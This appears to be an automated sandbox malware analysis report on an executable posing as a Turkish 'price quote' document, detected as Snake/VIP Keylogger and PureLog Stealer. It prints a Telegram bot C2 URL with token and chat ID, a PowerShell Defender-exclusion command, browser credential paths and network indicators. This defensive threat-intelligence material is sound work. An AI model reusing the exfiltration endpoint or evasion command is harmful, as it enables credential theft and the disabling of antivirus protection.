Edit tour

Windows Analysis Report
fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Overview

General Information

Sample name:	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe renamed because original name is a hash value
Original sample name:	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Siparii jpeg docx.exe
Analysis ID:	1584780
MD5:	9807fbe0e0a41bd3c0aa773880fa1caf
SHA1:	83ced32d308754d75286f8bff094bd1c18f7f981
SHA256:	8515cd8f15f1b16373993dfb77427a0fe071abb0384f9bfe55f14adc4ff5d30a
Tags:	exegeoSnakeKeyloggerTURuser-abuse_ch
Infos:

Detection

PureLog Stealer, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected PureLog Stealer

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates processes with suspicious names

Detected non-DNS traffic on DNS port

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe (PID: 6444 cmdline: "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe" MD5: 9807FBE0E0A41BD3C0AA773880FA1CAF)

powershell.exe (PID: 6316 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe (PID: 2820 cmdline: "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe" MD5: 9807FBE0E0A41BD3C0AA773880FA1CAF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendMessage"}

Threatname: VIP Keylogger

{"Exfil Mode": "Telegram", "Bot Token": "7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A", "Chat id": "-4517865277", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A", "Chat_id": "-4517865277", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2146266318.0000000005660000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d031:$a1: get_encryptedPassword 0x2d346:$a2: get_encryptedUsername 0x2ce41:$a3: get_timePasswordChanged 0x2cf4a:$a4: get_passwordField 0x2d047:$a5: set_encryptedPassword 0x2e6e5:$a7: get_logins 0x2e648:$a10: KeyLoggerEventArgs 0x2e2ad:$a11: KeyLoggerEventArgsEventHandler
00000004.00000002.4575972771.0000000002C60000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.2143245701.0000000003BE7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d8e1:$a1: get_encryptedPassword 0x108f99:$a1: get_encryptedPassword 0x14b7b9:$a1: get_encryptedPassword 0x2dbf6:$a2: get_encryptedUsername 0x1092ae:$a2: get_encryptedUsername 0x14bace:$a2: get_encryptedUsername 0x2d6f1:$a3: get_timePasswordChanged 0x108da9:$a3: get_timePasswordChanged 0x14b5c9:$a3: get_timePasswordChanged 0x2d7fa:$a4: get_passwordField 0x108eb2:$a4: get_passwordField 0x14b6d2:$a4: get_passwordField 0x2d8f7:$a5: set_encryptedPassword 0x108faf:$a5: set_encryptedPassword 0x14b7cf:$a5: set_encryptedPassword 0x2ef95:$a7: get_logins 0x10a64d:$a7: get_logins 0x14ce6d:$a7: get_logins 0x2eef8:$a10: KeyLoggerEventArgs 0x10a5b0:$a10: KeyLoggerEventArgs 0x14cdd0:$a10: KeyLoggerEventArgs
Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 6444	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 6444	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 6444	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 6444	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x9fba6:$a1: get_encryptedPassword 0x9feb1:$a2: get_encryptedUsername 0x9f9c0:$a3: get_timePasswordChanged 0x9fac9:$a4: get_passwordField 0x9fbbc:$a5: set_encryptedPassword 0xa205f:$a7: get_logins 0xa1fc2:$a10: KeyLoggerEventArgs 0xa1c2b:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 2820	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 2820	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 2820	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 2820	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f757:$a1: get_encryptedPassword 0x3fa62:$a2: get_encryptedUsername 0x3f571:$a3: get_timePasswordChanged 0x3f67a:$a4: get_passwordField 0x3f76d:$a5: set_encryptedPassword 0x41c10:$a7: get_logins 0x41b73:$a10: KeyLoggerEventArgs 0x417dc:$a11: KeyLoggerEventArgsEventHandler
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3be7868.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.5660000.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.5660000.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b431:$a1: get_encryptedPassword 0x2b746:$a2: get_encryptedUsername 0x2b241:$a3: get_timePasswordChanged 0x2b34a:$a4: get_passwordField 0x2b447:$a5: set_encryptedPassword 0x2cae5:$a7: get_logins 0x2ca48:$a10: KeyLoggerEventArgs 0x2c6ad:$a11: KeyLoggerEventArgsEventHandler
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3be7868.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b431:$a1: get_encryptedPassword 0x2b746:$a2: get_encryptedUsername 0x2b241:$a3: get_timePasswordChanged 0x2b34a:$a4: get_passwordField 0x2b447:$a5: set_encryptedPassword 0x2cae5:$a7: get_logins 0x2ca48:$a10: KeyLoggerEventArgs 0x2c6ad:$a11: KeyLoggerEventArgsEventHandler
4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d231:$a1: get_encryptedPassword 0x2d546:$a2: get_encryptedUsername 0x2d041:$a3: get_timePasswordChanged 0x2d14a:$a4: get_passwordField 0x2d247:$a5: set_encryptedPassword 0x2e8e5:$a7: get_logins 0x2e848:$a10: KeyLoggerEventArgs 0x2e4ad:$a11: KeyLoggerEventArgsEventHandler
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39333:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x389d6:$a3: \Google\Chrome\User Data\Default\Login Data 0x38c33:$a4: \Orbitum\User Data\Default\Login Data 0x39612:$a5: \Kometa\User Data\Default\Login Data
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c03c:$s1: UnHook 0x2c043:$s2: SetHook 0x2c04b:$s3: CallNextHook 0x2c058:$s4: _hook
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39333:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x389d6:$a3: \Google\Chrome\User Data\Default\Login Data 0x38c33:$a4: \Orbitum\User Data\Default\Login Data 0x39612:$a5: \Kometa\User Data\Default\Login Data
4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b133:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a7d6:$a3: \Google\Chrome\User Data\Default\Login Data 0x3aa33:$a4: \Orbitum\User Data\Default\Login Data 0x3b412:$a5: \Kometa\User Data\Default\Login Data
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c03c:$s1: UnHook 0x2c043:$s2: SetHook 0x2c04b:$s3: CallNextHook 0x2c058:$s4: _hook
4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2de3c:$s1: UnHook 0x2de43:$s2: SetHook 0x2de4b:$s3: CallNextHook 0x2de58:$s4: _hook
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d231:$a1: get_encryptedPassword 0x6fa51:$a1: get_encryptedPassword 0x2d546:$a2: get_encryptedUsername 0x6fd66:$a2: get_encryptedUsername 0x2d041:$a3: get_timePasswordChanged 0x6f861:$a3: get_timePasswordChanged 0x2d14a:$a4: get_passwordField 0x6f96a:$a4: get_passwordField 0x2d247:$a5: set_encryptedPassword 0x6fa67:$a5: set_encryptedPassword 0x2e8e5:$a7: get_logins 0x71105:$a7: get_logins 0x2e848:$a10: KeyLoggerEventArgs 0x71068:$a10: KeyLoggerEventArgs 0x2e4ad:$a11: KeyLoggerEventArgsEventHandler 0x70ccd:$a11: KeyLoggerEventArgsEventHandler
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b133:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7d953:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a7d6:$a3: \Google\Chrome\User Data\Default\Login Data 0x7cff6:$a3: \Google\Chrome\User Data\Default\Login Data 0x3aa33:$a4: \Orbitum\User Data\Default\Login Data 0x7d253:$a4: \Orbitum\User Data\Default\Login Data 0x3b412:$a5: \Kometa\User Data\Default\Login Data 0x7dc32:$a5: \Kometa\User Data\Default\Login Data
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2de3c:$s1: UnHook 0x7065c:$s1: UnHook 0x2de43:$s2: SetHook 0x70663:$s2: SetHook 0x2de4b:$s3: CallNextHook 0x7066b:$s3: CallNextHook 0x2de58:$s4: _hook 0x70678:$s4: _hook
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d231:$a1: get_encryptedPassword 0x1088e9:$a1: get_encryptedPassword 0x14b109:$a1: get_encryptedPassword 0x2d546:$a2: get_encryptedUsername 0x108bfe:$a2: get_encryptedUsername 0x14b41e:$a2: get_encryptedUsername 0x2d041:$a3: get_timePasswordChanged 0x1086f9:$a3: get_timePasswordChanged 0x14af19:$a3: get_timePasswordChanged 0x2d14a:$a4: get_passwordField 0x108802:$a4: get_passwordField 0x14b022:$a4: get_passwordField 0x2d247:$a5: set_encryptedPassword 0x1088ff:$a5: set_encryptedPassword 0x14b11f:$a5: set_encryptedPassword 0x2e8e5:$a7: get_logins 0x109f9d:$a7: get_logins 0x14c7bd:$a7: get_logins 0x2e848:$a10: KeyLoggerEventArgs 0x109f00:$a10: KeyLoggerEventArgs 0x14c720:$a10: KeyLoggerEventArgs
0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2de3c:$s1: UnHook 0x1094f4:$s1: UnHook 0x14bd14:$s1: UnHook 0x2de43:$s2: SetHook 0x1094fb:$s2: SetHook 0x14bd1b:$s2: SetHook 0x2de4b:$s3: CallNextHook 0x109503:$s3: CallNextHook 0x14bd23:$s3: CallNextHook 0x2de58:$s4: _hook 0x109510:$s4: _hook 0x14bd30:$s4: _hook
Click to see the 31 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe", ParentImage: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, ParentProcessId: 6444, ParentProcessName: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe", ProcessId: 6316, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe", ParentImage: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, ParentProcessId: 6444, ParentProcessName: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe", ProcessId: 6316, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T13:57:01.946848+0100	2803305	3	Unknown Traffic	192.168.2.6	49716	188.114.96.3	443	TCP
2025-01-06T13:57:04.440333+0100	2803305	3	Unknown Traffic	192.168.2.6	49721	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T13:57:00.239360+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49712	158.101.44.242	80	TCP
2025-01-06T13:57:01.379598+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49712	158.101.44.242	80	TCP
2025-01-06T13:57:02.582772+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49717	158.101.44.242	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T13:57:18.967446+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	49824	149.154.167.220	443	TCP
2025-01-06T13:57:41.453515+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62498	149.154.167.220	443	TCP
2025-01-06T13:57:42.643432+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62504	149.154.167.220	443	TCP
2025-01-06T13:57:43.782740+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62510	149.154.167.220	443	TCP
2025-01-06T13:57:44.735339+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62519	149.154.167.220	443	TCP
2025-01-06T13:57:45.864986+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62527	149.154.167.220	443	TCP
2025-01-06T13:57:46.793539+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62534	149.154.167.220	443	TCP
2025-01-06T13:57:47.735977+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62540	149.154.167.220	443	TCP
2025-01-06T13:57:48.764793+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62544	149.154.167.220	443	TCP
2025-01-06T13:57:50.066443+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62545	149.154.167.220	443	TCP
2025-01-06T13:57:51.161010+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62546	149.154.167.220	443	TCP
2025-01-06T13:57:52.729270+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62547	149.154.167.220	443	TCP
2025-01-06T13:57:53.795730+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62548	149.154.167.220	443	TCP
2025-01-06T13:57:54.817182+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62549	149.154.167.220	443	TCP
2025-01-06T13:57:55.786631+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62550	149.154.167.220	443	TCP
2025-01-06T13:57:56.882346+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62551	149.154.167.220	443	TCP
2025-01-06T13:57:57.822620+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62552	149.154.167.220	443	TCP
2025-01-06T13:57:58.795421+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62553	149.154.167.220	443	TCP
2025-01-06T13:57:59.736999+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62554	149.154.167.220	443	TCP
2025-01-06T13:58:03.655381+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62555	149.154.167.220	443	TCP
2025-01-06T13:58:04.624280+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62556	149.154.167.220	443	TCP
2025-01-06T13:58:05.634650+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62557	149.154.167.220	443	TCP
